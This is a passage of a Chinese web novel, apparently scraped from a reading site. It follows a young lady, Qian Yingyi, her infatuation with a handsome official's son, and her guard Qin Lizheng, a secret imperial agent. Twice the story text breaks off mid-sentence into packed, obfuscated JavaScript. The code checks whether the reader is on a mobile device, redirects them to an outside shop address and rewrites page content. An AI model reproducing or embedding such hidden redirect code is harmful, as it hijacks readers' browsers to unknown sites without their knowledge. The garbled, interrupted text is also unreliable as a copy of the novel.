秦离铮走近她身前,将一应吃食摆在石桌上,窥她不说话,他的嗓音也沙沙的,“小姐,买来了。” 岂知她只掀起那两扇睫毛来瞧了两眼,改换了个姿势,双手把腮肉往上托了托,“哦,放着吧,没什么事了。” 秦离铮没动。 丫鬟夏菱最会察言观色,也深知钱映仪此刻那一丢小小的烦恼,当即俏生生道:“小姐说叫你走,你就走!” 凑巧小玳瑁从另一头归家,显然是下晌在钱映仪跟前领了活,只见他匆匆穿过园子,往怀里摸出张纸送到钱映仪眼前。 见秦离铮恰好在,小玳瑁顺势又将他一并给拉到了廊下站着。 秦离铮遥望钱映仪,她竟一霎变了副模样,喜滋滋使夏菱提来一盏黄纱灯笼,那双亮锃锃的眼珠在纸上流转,鬼使神差,他忽然转过脸来,朝小玳瑁问: “她叫你去做什么?” 小玳瑁眨眨眼,神秘兮兮一笑,歪着脑袋凑近他,低声道:“叫我去打探燕大人家的少爷,下晌我听夏菱的意思,小姐像是有些兴趣,你呢?半日不见你,小姐也使你去打探了?” 秦离铮又转过头,没答小玳瑁的话。 “自幼饱读诗书,十八岁中进士,如今也不过二十三...”钱映仪轻念出声,掀眼望着两个丫鬟笑,“天老爷!真是偏心,有才倒也罢了,竟还给他那样一张脸!” 看过了,钱映仪捏着纸又垂下眼眉,复坐回石杌上,左思右想不过一件事——她虽才不比幽栖居士,却也自有书香气,燕姐姐今日离去时,说开春由她做东举办春宴,届时自己又将窥见那张脸,总要与他搭上一两句话。 可她近几年话本子写得利落,她只怕与燕如衡说话时,从风花雪月聊到断肠残肢。 如此一思量,钱映仪又细细扫过那张纸,半晌,竟叹出一口气。 上弦月洒了些光映在园子里,眼见时辰尚晚,夏菱不免催促两句,“小姐,凭他是什么神仙扮相,也不过是个活生生的人,他是人,您也是人,您还未用过晚膳,不妨先用些...” 说罢眼神扫过石桌上的吃食,将还暖着的蜜薯往前推了推。 春棠亦是如此,取了搭在臂弯里的披风往钱映仪肩头披着,比划了两下,一同劝了起来。 谁知钱映仪就是这般性子,倘或有一件事、一个人能吸引她,一顿饭不下肚也算不得什么。 两个丫鬟互相睇眼,无奈笑笑,夏菱收了那些吃食,欲往小厨房热一热,春棠则顺势退往一边候着。 见吃食被收走,小玳瑁暗自琢磨起来。 从前小姐不是没对哪位漂亮男人提过兴趣,他十四岁起跟在小姐身边,对这些自是一清二楚... 只不过他下晌去打探,也并未见过那燕三郎,因此心中生出好奇,偷瞥一眼春棠,耳廓红了红,慢步凑了过去。 近前了,小玳瑁轻轻掣着春棠的袖摆,将她拉远两步,用手比划: -那燕少爷究竟有多漂亮?能叫小姐这般茶不思饭不想! 可惜春棠并未跟去晏家,夏菱倒是归家与她说过了,可有时同为女孩子,总有些心照不宣的秘密,因此春棠并不愿将小姐有些什么烦恼说与他,只撇了撇唇,随意冲他比划。 没几时,小玳瑁低垂着眼眉钻回秦离铮身侧。 秦离铮双目生疑,“春棠与你比划什么?” 对秦离铮而言,他将长线放在燕如衡身上是正确的选择,因此钱映仪倘或能时常与燕如衡见面,倒是给了他不少机会。 方才小玳瑁过去的目的明显,他自当追问一二。 岂知小玳瑁抿着唇,旋倒在廊椅上,眼色有些委屈,“她说关我屁事。” 秦离铮一怔,暗自好笑。 复又过去约莫半炷香,钱映仪总算肚里空空,想起要吃东西来,眼睛瞥向秦离铮,没忘白日里刻意罚他一事,端着一把细腰坐直了,高喊:“林铮!” 秦离铮眼里有几点星光,是被廊下摇曳的灯笼所映,他抱臂歪欹在廊柱旁,懒洋洋问:“何事?” 这一歪,叫钱映仪瞧得两条眉都拧紧,提裙绕过花从往这头来,仰脸把他一瞪,“我还没与你细细算账,你莫要当白日之事翻篇过去了,我问你,你今日是不是故意的?” 秦离铮仿佛是想不起来,“哪件事?” 一会又道:“挡在小姐与燕三郎中间,不让他靠近?还是遮住了小姐,打断了小姐偷瞧燕三郎?” 钱映仪骇目圆睁,连连去戳他的肩,“你果真是故意为之!好个阴险心思!我捡你回来是叫你与我作对么?” “我哪里与小姐作对?”秦离铮淡敛神情,反剪两条胳膊在身后,由她挠痒似的戳着,另寻一席话,“小姐吩咐我去买吃食,我去了,是小姐自己不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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秦离铮转去钱映仪正面,就见她朝自己眨巴两下眼,话语里的火星子散了许多,“你还算表现尚可,今日也替我挡了吴念笙,就当抵过,日后你与小玳瑁一般,也是云滕阁的一份子。” “谢小姐高看。” 小玳瑁被春棠打击过,一顿饭的功夫又忘了个干净,见钱映仪唤自己,高高兴兴往一旁站,问:“小姐有何事嘱咐呢?” 钱映仪罕见嗫喏着两片透红的嘴唇,拖了片刻,才轻声问:“你们觉得,下回再见到燕三郎,我该怎样做?”不忘抬手向春棠比划。 四人皆是一愣,夏菱头个回过神来,乐滋滋抚掌,“奴婢觉得,或许投其所好?” 春棠抿抿下唇,脸皮薄些,不曾有动静。 小玳瑁睁着眼把春棠偷瞥,轻飘飘沉醉在她的侧颜里,“时常在他眼前露露脸呢?我是男子,我觉着就是如此,先让他习惯您的存在,时日久了,您倘或是一段时间不出现在他眼前,他兴许浑身难受抓耳挠腮了...” 其实几人会错了意,钱映仪只是想能与燕如衡多几番交流,如此一来,她也有机会多欣赏那张美艳绝伦的脸。 她正好旋裙至一处墙根底下,见还有一人未答,便问:“你觉得呢,林铮。” 斑驳的树影打在她冷白的脸颊上,这还是她这几日朝他露出的第一抹和善的笑,与方才张牙舞爪的模样比起来,娴静许多。 秦离铮脸上瞧不出什么情绪,懒于对小情小爱琢磨,只睇她一眼,连嘴都没动一下。 “...就知道你不懂,你个武夫懂什么?”钱映仪未听到答案,鄙夷转身,提着那盏黄纱灯笼隐进后院,单方面结束这场没头没尾的临时起意。 她走后,小玳瑁高高兴兴凑过来搭上秦离铮的肩,一副过来人的口吻搭腔,“小姐想听什么,你顺着她说几句就是了,做哪样一声不吭?你瞧我说的就比你好…” “你是指你借故说给春棠听的那些?”秦离铮推开他的胳膊,眼里那点星光黯淡下来,鄙夷哼出一声笑,“她听不见,你自演自乐也算?” 言罢转背离去,剩小玳瑁涨红着脸,被戳破心思又羞于承认,暗戳戳往他那处指了指,没好气道:“怪不得小姐说你不懂!” 6. 第6章 是夜深沉,云滕阁内静了下来,因白日屡次用过米糕的缘故,钱映仪侧身蜷缩在被衾里,陷进了拔不出脚的梦魇里。 很是奇怪,旁人的梦境向来是遇着阻碍或惊险就乍然醒来,钱映仪这梦却像生出了几颗钉子,要把她的手脚牢牢钉死住。 梦里有双苍白枯细的手,蒙着她的眼睛,她又辗转回到了一片不见天日的昏暗林子里。 那双手的主人很温柔,轻飘飘的声音透过钱映仪的耳朵钻进她心里:“映仪,跟我过来。” 每每做起这梦,钱映仪总忍不住要在梦里追问:“你要带我去哪里?” 那双手仍固执蒙着她的眼,托着她一步步往前走,愈发往前走,那潮湿又腥臭的空气里总透出几丝米糕的味道... 钱映仪歪着身子在被衾下挣扎,拔步床外的黄纱罩里亮着一抹残灯,映得她一张小脸益发是冷汗涔涔,豆大的汗珠顺着额心往下淌,与之混糅下来的,还有眼角几滴湿润。 这厢暂且按住不表。 但说秦离铮转回寝屋后,洗漱过就倒在了硬邦邦的床上,他与小玳瑁分前半夜与后半夜值守,此刻稍得空闲。 燕家刻意派燕如衡与燕文瑛姐弟接近钱映仪已是不争的事实,秦离铮盯着屋顶上一处结实的梁木,心中不免思忖起褚之言白日说过的话。 结姻亲?不是没这样的可能。 钱兰亭虽自请调任回了金陵,膝下长子钱锦年却仍留在顺天府担任府尹一职。 他在京师只为皇上办事,向来与钱锦年少有来往,却也深知他是个精明人物。 钱映仪身为钱锦年的次女,瞧这娇滴滴的架势,想必也是泡在蜜罐子里长大的,燕如衡倘或是娶了她... 她上头还有一双兄姐,长兄如今任翰林院编修,娶的是翰林侍讲学士之女,姐姐嫁给了余候的儿子余骋。 余骋?秦离铮猛然起身,幽静静的眼底泛起波澜。 怪不得。 秦离铮唇畔噙了抹冷冰冰的笑,起身往西墙下的那张简易书案前走,一灯如豆,他未再另点一盏灯,动作迅速铺陈纸笔,挨个写下钱家人与燕蔺两家的名字。 原来这燕榆的最终目标是余骋。 余骋此人出身忠毅侯府,一惯学的是权衡术,年纪轻轻就已跻身户部。 去年皇上重用余骋,提拔他为户部郎中,兼管十三清吏司,因他身后侯门的关系,浙江、江西等地的清吏司官员也十分奉承他。 燕如衡若能娶钱映仪过门,便是与余骋成为连襟,届时不光是钱家,连整个忠毅侯府都顺势成了一根绳上的蚂蚱。 好个算计! 夜雾渐聚,那一豆灯火渐渐暗了,把秦离铮的脸照得斑驳迷离,秦离铮顺手推开窗,冷风霎时灌进来,他被烛光映在墙面的影也跟着摇摇晃晃两下,最终归于平静。 秦离铮站在黑漆漆的夜里望着金陵的天,只觉天上像撕开了条口子,仿佛能窥见在不久的将来,一切的阴谋诡计都会从那条口子里泼洒出来。 半晌,他关了窗,重新点了一盏灯,将写了那些名字的纸一并烧了。 案上那笔架子里还静躺着他方才用过的笔,想及今日手札未写,又往怀里摸出那本贴身存放的小册。 铺开在案上,分明该写下方才思忖过的那些,笔尖却悬在纸面滞带出一记黑色的墨点。 秦离铮恰巧是在这时想起钱映仪来,前不久她才刚站在墙根下,朝他面露鄙夷,一副嘲笑他什么都不懂的模样。 他何须懂这些? 虽有不屑,秦离铮仍在心里策反。 倘或不是知道要哄着她高兴,她才会外出,他才有更多的机会靠近燕家与蔺家,他何至于折返回去买米糕? 吃了他的东西,还瞧不起他。 秦离铮不再悬笔,往下草草记了些东西,又另起一行,写下: 一会喜,一会怒,这位小姐性情不大平稳,需再三忍耐,勿与她多计较,以免坏事,谨记。 收好手札,吹熄了灯,秦离铮靠在床上眯过了前半夜。 刚过子时半刻,小玳瑁顶着两个惺忪的眼推门进来,径自走向自己那张床榻往上一躺,语调里透着疲累,“林铮,换值了,前半夜冷得我有些手脚发硬,我在院外那棵歪脖子树上打了个窝,你去吧。” 回应他的是一阵起身的动静,随后门轻轻掩紧了。 秦离铮一路穿廊过,没几时到了云滕阁外,并未去小玳瑁所说的那处窝点,自顾翻上屋顶,卧在几片砖瓦上闭目养神。 锦衣卫选拔严谨,秦离铮先是踩着别人的尸骨上位,又时常替皇上办些不便公之于众的事,寒冷而已,没什么是不能承受的。 比及锦衣卫办事,钱府这伺候小姐的侍卫活计实在轻松,秦离铮阖着眼,反叠两条胳膊在脑后,正欲沉下气息时,忽听底下传来一阵啜泣。 小猫似的,很低,很细,若非是他耳力不比寻常人,这声音就掩进了簌簌的夜风里。 秦离铮静等片刻,翻身落地,目光落在寝屋外间的窗上,外间点着灯,窗纸下的影点头打盹,正是换值守夜的春棠。 偏生她听不见。 夜深寒露重,风声呜咽阵阵,秦离铮总算做出抉择,不愿麻烦自己去与她打那些不懂的手语,脚步一拐,无声靠近寝屋的窗,屈指一抵,轻巧翻进了那间闺房。 因从侧墙翻进来,秦离铮只窥清闺房一角,西面摆了张八宝柜,一面梳妆台,圆桌上的几只杯盏倒扣得整齐,一盆君子兰旁搁着条案,案上那些物品依旧是整齐。 视线落在身前的珠帘上,秦离铮方发觉连上头的珠子都是同一个色。 珠帘后是扇山水刺绣屏风,纱蒙蒙的屏风后,啜泣的那道声音转瞬闷进了被衾里。 秦离铮轻步往前的动作稍稍一顿,下一刻,还是抬手掀开珠帘,一面往屏风后绕,那把细细的声音就愈发清晰。 粉黄交织的纱帐垂在拔步床外,秦离铮修长的指尖挑开一个角,目光隐含探究。 她一惯张牙舞爪,不过瞧着是在做梦,竟将枕头都给打湿了? 秦离铮没能瞧见钱映仪的那张脸,只透过床边灯色暗窥了枕头上的一滩湿迹。 什么梦这样迷惑心智? 见她还闷在被子里哭,秦离铮往前俯低身子,想开口唤醒她。 刚一张嘴,又想她那咋咋呼呼的性子,若是被她发现他不经允许就踏进这间房,没准噩梦的余韵未消,又被他吓得连声惊叫。 为着她精神好,能有精力去与燕如衡交谈,秦离铮落下挑帐的指尖,慢慢屈了条膝在榻脚,一下一下把手掌轻拍在被衾上。 被衾是软绵绵的,白日里才被晒过一阵,为此,富贵人家总透着矜贵的气息里染上了几丝世俗尘味。 被衾下的身子像是蜷缩着,秦离铮只摸到一片薄薄的肩。 顺着拍了片刻,那阵啜泣声渐渐低了,几十息的功夫,被衾下的呼吸归于平静。 秦离铮及时收回手,拂开搭在肩头的纱帐,盯着被衾看了一会儿,便欲转身离去。 岂料还未曾有什么动作,被衾下的人翻了个身,一条雪白的胳膊自被衾下钻出,无意识往虚空抓了抓。 ......当真麻烦。 秦离铮复又走近半步,垂着眼盯着那半截光滑的胳膊。 他向来只有冷静之色的眼底又泄出一丝不耐,她这人仿佛是上天派来磨砺他的,醒着时要伺候,如今睡着了,还要伺候。 锦帐添香睡,出来时,秦离铮在原地站了半晌才吹散身上那抹零陵香气。 回首再望一眼窗内的灯火摇曳,秦离铮抬手轻揉额角,没再跃上屋顶,另选了一处空旷之地倚靠着。 倘或不是怕耽误自己的筹谋,他想,他定不会管她,凭她是什么千金小姐。 隔日风和日丽,钱映仪早起用过早膳,由春棠把一头乌溜溜的头发挽起,才忆起昨夜的动静,扭头去问夏菱:“昨夜是谁进来替我掖被角了?” 夏菱有些茫然,扭头去问春棠,春棠见她比划,摇了摇头。 见状,钱映仪轻眨一双眼,没再追问,反而轻声道:“那是我睡觉时做梦,睡得太沉,睡迷糊了。” 夏菱心头一惊,忙问:“小姐又做那等噩梦了?” 钱映仪坐在铜镜前低垂着脑袋,俄延半晌,才道:“夏菱,我又梦见阿姐了。” 这阿姐并非是钱映仪的亲生姐姐,是钱映仪还在京师时认得的一位女子,在钱家角门后的巷子里经营一家米糕铺,只可惜年纪轻轻就已香消玉殒。 为此,钱映仪时常抱有遗憾,这些年也总梦见她。 夏菱打小就跟着她,知其全貌,忙上前劝慰,“小姐,不 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钱映仪轻飘飘睇她一眼,“残忍什么?他们夫妻害人,王秀丽这样做,也算替先前那些受害的女子报仇了。” “她男人也陷入幻境,将她胳膊卸下来,就不算残忍了?”钱映仪往身后的椅背上跌靠,闭目轻笑:“夫妻本是同林鸟,但一双恶人做了夫妻,就该自相残杀才好。” 也许是同为女子,夏菱半蒙半懂点点下颌,又道:“这倒是,但这男人也忒不是什么好东西,仗着自己生得强壮,就争先对娘子下手。” 秦离铮用过午膳,正是在此时与小玳瑁一并过来。 隔得远,云滕阁的下人又来来回回干活,他只依稀听清“男人强壮”“不是什么好东西”。 接下来的话他倒是听清了,把眼一抬,就见钱映仪坐在西窗后笑得颤颤巍巍。 她道:“男人太强壮了的确不好,对女人来说是种威胁,还是燕三郎好,生得漂亮,瞧着养眼,身段也不算强壮,自有玉树临风之态。” 秦离铮握着剑身,低眉扫量一眼自己,嗤嗤冷笑了两声。 半晌上前去,并未靠得太近,离钱映仪还有三丈远,那副语调依旧冷清,“小姐,前厅午膳准备好了,太太正等着你过去。” 钱映仪歪着脑袋望过来,见侍卫一张脸无情无绪,颇有些败兴,瘪瘪唇道:“晓得了。” 收拾纸稿时,为免自己是金陵小红豆的秘密被他暗窥,钱映仪冲他摆摆手,“林铮,你站远些。” 秦离铮瞟她一眼,见她防贼似得盯着自己,没说什么,拔脚往后退了一丈。 钱映仪与两个丫鬟将纸稿收拾整齐,“啪”地一声将窗户给阖紧,片刻,捉着一片裙角走了出来。 擦身过时,钱映仪眼尖留意到侍卫的腰带上勾着剑穗,想来是方才动作间不经意勾缠上去的。 她心头有些发痒,在他身侧停了停,指着他的腰身,命道:“将它拽出来。” 秦离铮低目扫量,才知她指的是剑穗,忆起昨夜在她闺房里所见,他总算后知后觉窥探出她这古怪的毛病。 见他迟迟不动手去拽,钱映仪把眉轻攒,又催促了一声。 秦离铮默了几瞬,还是将剑穗拽了出来。 眼前这小姐这才露出满意之色,端着腰往花厅的方向行去。 小玳瑁与秦离铮时常是远远跟着她,瞧她今日打扮得娇艳些,小玳瑁冷不丁笑道:“今日天气好,不知小姐会不会出去呢?” 秦离铮脚步一顿,转脸望向小玳瑁。 小玳瑁自认他与自己想到一处,向他眨眨眼,露出个神秘莫测的笑,“你猜,小姐若是今日出去,会不会提起那位燕三郎?” 这话开了个头,小玳瑁的话渐渐就密了些,从二人的年龄聊到八字,再聊到门当户对。 末了时,小玳瑁颇想在暗地里促成这桩良缘,伸出一根手指在二人之间来回点点,叹道:“不过,若小姐与燕三郎互相看上眼,咱们两个大男人就不好总跟着了,一来不大方便,二来,我们两个木杵杵的跟着小姐,小姐见人多,面皮子薄怎么办?” 见秦离铮不说话,小玳瑁去掣他的胳膊,“嗳,你说在不在理?” 年轻人神色总是淡淡的,闻言只瞥来一眼,抱臂跟上前头那抹将要隐进拐角的倩影。 “在你我还没耽误小姐春心萌动前,还不跟上?” 7. 第7章 正是莺花二月,钱映仪一路穿廊过,没几时到了小花厅外,还未打帘进去,就听二婶婶许珺在急切问话: “我的天老爷,我儿,你这是在哪与人互刨?脸破相,衣裳也穿了个洞!难道是又与同班的小朋友打架了?!” 钱映仪也怪道在府学念书的堂弟竟这时候归家,忙钻进小花厅,匆匆往前走几步把钱其羽定睛一瞧,登时“哎唷”两声。 原来这钱其羽果真如许珺方才所言,鼻下挂着残血,两边眼睑下浮着一圈青紫,衣裳松松垮垮搭在身上,那张向来笑眯眯的脸此时稍显戾气板着,仿佛是变了个人。 钱映仪见他不干净,习惯使然想劝他先去梳洗一番,话到舌尖绕了两圈,没再火上浇油。 只绕过屏风凑近他几步,歪过脸认真瞧他,语气放得比平时软,“你总打架,这回打赢了没?” “......映仪!”许珺柳眉浓叠,举步上前把她拉开,没好气瞪了一眼钱其羽,道:“他就是个爱惹事的,咱们不要理他,先吃饭!” 钱其羽一惯是肆意张扬的脾性,像是生来身有反骨,旁人越压着他训,他越是不耐烦。 倒是钱映仪每每只问他结果,因此他也听她的话,格外喜爱与她在一处玩。 这厢听见钱映仪依旧只问自己有没有打赢,心头的气竟是一瞬间消散,摸出条干净的帕子把鼻下的血渍擦拭掉,才乐滋滋一摆手。 只说是赢了,自顾往饭桌上坐。 他像是与人打架耗尽气力,此刻是饿极了,狼吞虎咽用过三碗饭才渐渐放缓牙关,挑了一筷子萝卜丝儿塞进嘴里咀嚼,也丝毫不主动提因何要打架。 许珺见不惯他如此荒废学业,张嘴便要再训,被钱映仪一道点心堵了嘴。 钱其羽那张脸又滑稽又惹人心疼,钱映仪不动声色乜他一眼,倏然扭头与许珺道:“婶婶,家里的彩墨缺了几种颜色,我今日无事,下晌正要出去瞧瞧,婶婶可有什么要我一并带回来?” 一只凤头履悄悄从裙摆下伸出,往许珺身边贴了贴。 许珺囫囵咽下点心,眼珠子来回一转,笑道:“还是去你往常去的那间铺子?哟,正好,我近来无事替全家打络子,还差些花样,我说与你.......” 暗睃她二人掩唇交谈,又知钱映仪常去的铺子在河边,钱其羽料定她买完东西定会游河吃酒,忙不迭把脑袋凑近,笑得没脸没皮,“阿姐,我也要去。” “你同人打架,私自从府学回家,我还没仔细盘问你呢!你不许......”许珺险些又没忍住,说起话来脑袋上的三帘步摇乱晃一阵,幸得被钱映仪及时摁住,方有些生硬地改了口:“跟着你姐姐,不许什么猫猫狗狗近她的身!” 钱其羽笑吟吟得令,又吃一碗茶汤泡饭,自知形象脏污,回房重新梳整一番后就与钱映仪共乘马车出去了。 一出巷口,钱映仪便撂下车帘,换了副神色,捉着钱其羽盘问道:“二婶婶是长辈,你却总气她,我不想她被你气得心口疼才将你带出来,说,这回到底因何事与人打架?” 她摆出阿姐姿态追问,钱其羽高扬的唇畔渐渐平缓下来,倒不是不喜她问自己,反倒一副好似这场架正是为她打的模样。 见他迟迟不答,钱映仪复又攮了他的手腕一把,“说呀!” 带着暖意的阳光自车帘缝隙里照进来,映在钱其羽的脸上,就见他将唇抿得笔直。 静了片刻,才听他道:“我将瑞王世子给打了。” 马车不着痕迹缓了速度,钱映仪闻言坐直身子,骇目圆睁,“你说你将谁给打了?瑞王世子?俞敏森那冤家?” 钱其羽哼笑一声,抱臂往车壁上一靠,“吴念笙仗着自己时常生病,总托病不去府学缠着阿姐你,那日他跟去晏家的事,不知怎么被俞敏森晓得了,他讥讽吴念笙倒也罢,字里行间竟将阿姐一并给骂了,我气不过,但碍着家里的颜面,没与他追究.....” “怎知今日在课上,教谕因照顾家中染上风寒的太太,来得有些晚,俞敏森那厮一席话绕来绕去,又绕去吴念笙追求阿姐这事上!” “说什么叫他私下与教谕多学学,不防学会...学会如何讨女人欢心,就将阿姐你给拿下了。” 钱其羽阖着眼,无半分后怕之意,“所以我在课上将俞敏森给打了,连带着那吴念笙来拉架,我也顺势踹了两脚,今日不是我主动归家,是两方争执推搡打架,府学那边勒令我们回家写一份检讨,明日再回去。” 钱映仪一怔,没想他今日犯事竟是因为自己。 颦眉好一阵,才道:“他是何等的小霸王?我虽与他不太对付,却也尽可能避开他走!” 她又问:“你在众目睽睽下将他与吴念笙给打了,吴老爷子与爷爷乃工部同僚,此事倒还好说,他是世子,倘或是瑞王来家里拿你治罪,你当如何?” 钱其羽拧眉板脸,很是不服气把下颌一扬,“能将我治什么罪?一班同学打架,他瑞王还要因此事将我下狱不成?哼,可别忘了,他早已不是当初那个要风得风、要雨得雨的......” “住嘴!”钱映仪忙横着手背去盖他的嘴皮子,又惊又怕,“你怎敢这样口不择言!” 钱其羽的声音一瞬呜呜咽咽,再往后面说了些什么,秦离铮已然是听不见了。 年轻人弓膝靠在车门外,漫不经心驭着马车,日头正盛,他的眼波浮动着神秘,拽着缰绳的手指却一寸寸收紧。 小玳瑁奇怪盯着他瞧,“你怎么了?” 秦离铮轻眨两下眼,笑了声,“没什么,小姐惯去哪家买彩墨?你还没说与我听。” 小玳瑁细细看了他一会,才收回眼,见马车快驶近河岸,抬起胳膊指了指,“就停在这儿,小姐向来是过桥去对岸买,有夏菱与春棠陪着,我们两个在这头等小姐就行。” “小姐说过,人家做生意的铺面不大,咱们虽是侍卫,要寸步不离她,但也别叫人家觉得她架子摆得太高。” 秦离铮沉默勒停马车,反手叩响车壁,嗓音沉沉的,“小姐,到了。” 没几时,钱其羽先行下车,横臂将钱映仪接下来。 秦淮河面浮着金色波光,像细碎的金珠子,刺得钱其羽眯了眯眼,他拢紧肩头的披风,瞧着是在马车里听过劝,但仍有些不服气,“叫爷爷晓得,再打我一顿也无妨,但叫我去登门道歉,那是不能够的。” 钱映仪瞟他一眼,心底高兴他为自己出头,又怕瑞王动真格找他算账。 提裙在原地左思右想,一时只得将他暗瞪两眼,“幸得你是先与我说,今晚你就老老实实在家中挨训,爷爷那头我去说,咱们也是占理的!” 钱其羽这才咧嘴乐呵呵笑了,“就知道阿姐还是疼我的。” 车到山前必有路,现下想这些忧心忡忡的事也无用,姐弟俩仰脸晒了晒太阳,将骨头也给晒得暖和酥麻了,这才高高兴兴往对岸去。 小玳瑁摸了块饴糖往嘴里放,直到瞧不见春棠的身影才收回眼,百无聊赖时歪头看向潺潺河面,笑说:“我是扬州人,少时随父母搬来这,自打做了小姐的侍卫,这秦淮河我是闭着眼都能绕两圈了。” 圆脸侍卫惯摆着笑脸,胳膊肘推了推一旁的身影,“嗳,你是京师人,同我讲讲,京师是不是更富贵荣华?那些高门大户是不是脚不沾地的?” 他的话又多又密,时常是从这一头牵到另一头,不防又问:“你那好赌的弟弟想来是找不到了,听你说来金陵也有小半年,你想家吗?” 秦离铮的眼神追着河面上一艘摇晃的乌篷船,并未答话,像是没听进去。 瑞王。 太祖皇帝最疼爱的幼子,上任皇帝继位时,瑞王曾涉身谋逆,最后经查验发觉是瑞王手下的人参与,瑞王并不知情,且他还手持太祖皇帝亲赐的丹书铁券,因此躲过一劫。 如今仍在金陵过得滋润。 秦离铮闭了闭眼,他不愿在这时候听到关于瑞王的一星半点。 倘或他们之间没有仇恨,他尚且能冷静将瑞王一并牵进贪腐名单里彻查。 可难以否认的是,即便过去很久,他一惯冷静的底色仍会在听见“瑞王”这二字时轰然崩塌,他恐自己会控制不住先要其性命。 乌篷船穿过桥洞消失不见,秦离铮垂着眼,半晌牵着唇角笑了笑。 到底是将属于自己的秘密掩盖住。 因天气太好,秦淮河喧阗热闹,静等约莫半炷香的时间,钱映仪与钱其羽折返回来,除去钱映仪要的彩墨与许珺要的花样,还另买了些小玩意儿。 连带着两个丫鬟怀里都抱满了。 小玳瑁见状忙殷切切上前接过春棠手里的东西。 钱映仪气吁吁踩下最后一截石阶,手里托着彩墨条,一眼就瞥清高大的侍卫懒散靠在一旁,半分眼力见也没有。 她稍缓急喘的气息,一股脑朝他跑去,临近了就把彩墨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790587|190568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条往他臂弯里一搁,没好气训道:“人家小玳瑁好歹知道过来接一接,你怔怔像个木头站在这是做什么?!” “我捡你回来不是叫你当少爷的!” 她站在眼前,一席话叽叽喳喳,竟意外能平复情绪,秦离铮瞳眸亮着几点由河面映照过来的光,眼神落在她两片薄涂口脂的嘴唇上,“凶什么?” 他托着彩墨,转背接过余下三人手里的东西,仗着自己力气大,一并扛去马车里搁置了。 钱映仪被他方才那直白的一眼瞧得有些说不清,窃窃抿了抿唇。 晴光正盛,秦离铮复又转身,淡问:“小姐还有什么要买?还是上哪转转?” 这话正合钱其羽心意,少年最爱游河玩乐,忙不迭绕去钱映仪身旁,指着岸边租船的人家道:“阿姐!去那儿,今日天气实在是好,不游河就浪费了!” 钱映仪扭头去望,不防这一眼错开,远远窥清一辆马车,她抬手揉了揉眼,掣着夏菱的衣袖,“你瞧,那是不是燕家的马车?上头是不是燕字?” 夏菱横手挡在额心,朝那头细细张望,半晌笑道:“小姐,是燕家的马车没错,只是这马车里坐的是谁就不知了。” 小玳瑁是个嘴不严实的,早在一旁悄悄与钱其羽咬耳。 钱其羽便也觉得钱映仪对燕三郎有意,因而改了要玩乐的主意,一连声道:“哎呀,女子出府向来坐宽敞些的马车,这马车一瞧就不是燕太太的,燕大人这时候又在府衙,马车里想必是那位从凤阳调任回来的燕三郎喽?” “阿姐与燕三郎可熟悉?” 熟么?不熟。 但打过照面,她知燕三郎端方守礼,倘或见着她,定是要在此交谈几番。 钱映仪霎时期待瞧见那张十分漂亮的脸,正往前两步走,蓦然又冒出点心思,恐自己这回又在燕三郎失了形象,便挨个凑去众人身边。 首个便是秦离铮。 秦离铮眼下冷不防凑来一张脸,稍显朦胧的光映在她的眼角眉梢,连细碎的绒毛都瞧得一清二楚,端的是灵俏可爱,如花似玉。 面容白皙,脸上的肌肤与昨夜那不防露在被衾外的手臂一样细腻。 下一刻,就听她问:“我现在美不美?” 秦离铮没与女人面对面靠得如此近过,那双似湖沉寂的眼罕见有几分躲闪,他转脸躲开,只留一边下颌对着她。 “......哎唷,说你不懂,你还真是什么都不懂呢!”钱映仪吃了瘪,心头把这不解风情的侍卫一顿骂,嘴上也跟着冒了两句。 她又捉来小玳瑁问,小玳瑁跟着她的时日久,自然知道她只是纯粹地问,并无他意,于是笑嘻嘻将她从头到脚夸了一遍。 夏菱也赞同点点下颌,拉着春棠一顿比划。 春棠歪脸去窥那辆益发离得近的马车,忙摆摆手,示意众人给钱映仪留出一处空旷地。 钱映仪佯装有些不大好意思,轻咳两声,摸了条帕子悬在身前,暗自思量稍后与燕如衡打照面时,该说些什么才好。 微风正暖,行人细声嬉闹,钱映仪在这柔和的景色里暗窥那辆马车,瞧着它愈来愈近。 凤头履已从裙摆下探出,正往前走一步... 那辆马车却径自从她身前驶了过去,风掀起车帘一角,几丝柑橘气息飘过来,里头的确是坐着燕如衡。 “......”钱映仪眨巴两下眼,不觉尴尬,回首盯着众人一一望着,“这是何意?” 秦离铮抱臂轻笑,“看来小姐想见的这位燕三郎,也什么都不懂。” 钱映仪倏然握拳回瞪他,“你笑什么?不许笑!” 夏菱窥她有些生气,脑子里的一根筋倒搭得正,察觉出燕如衡的马车往江宁一带驶,想必也是去江宁县衙,因此忙上前道:“小姐有几支画笔不是不好使了?奴婢听人说江宁那边有间铺子的笔卖得极好,也不知是个什么成色,时辰尚早,咱们不如去看看?” 一阵清浅的薄荷气息强势闯进钱映仪的鼻腔,侍卫与她擦身过,翻身将马车驶离原地,转瞬来到她身前。 钱映仪努嘴,“你做什么?” 侍卫剔眉轻笑,此刻又不避讳了,借着耀眼的天光将眼神在她的鞋面上停了片刻,“不是要去江宁?小姐打算走着去?” 钱映仪有自己的小小矜持,轻哼两声,才捉裙踩着矮凳上了马车,放下缃色的帘子时,才憋出一句: “算你懂事。” 8. 第8章 辗转一个时辰到了江宁县,依钱映仪的吩咐,秦离铮将马车停在县衙大门东边一棵柳树下。 临近县衙的正街上一派喧嚣,阳光照映在县衙的朱漆门上,微风吹过春桂芳香,钱映仪在马车里坐不住,撩开帘子探着脑袋往大门处张望。 钱其羽性子直,没什么耐心,“大老远跑来,阿姐你又不去寻他,就在此处干等,若燕三郎衙门事务繁忙,你还在此等到天黑不成?” “胡说,”钱映仪够眼盯着县衙门,“再等半个时辰,天若是要黑了我自然知道归家,倒是你,不许将这件事告诉长辈。” 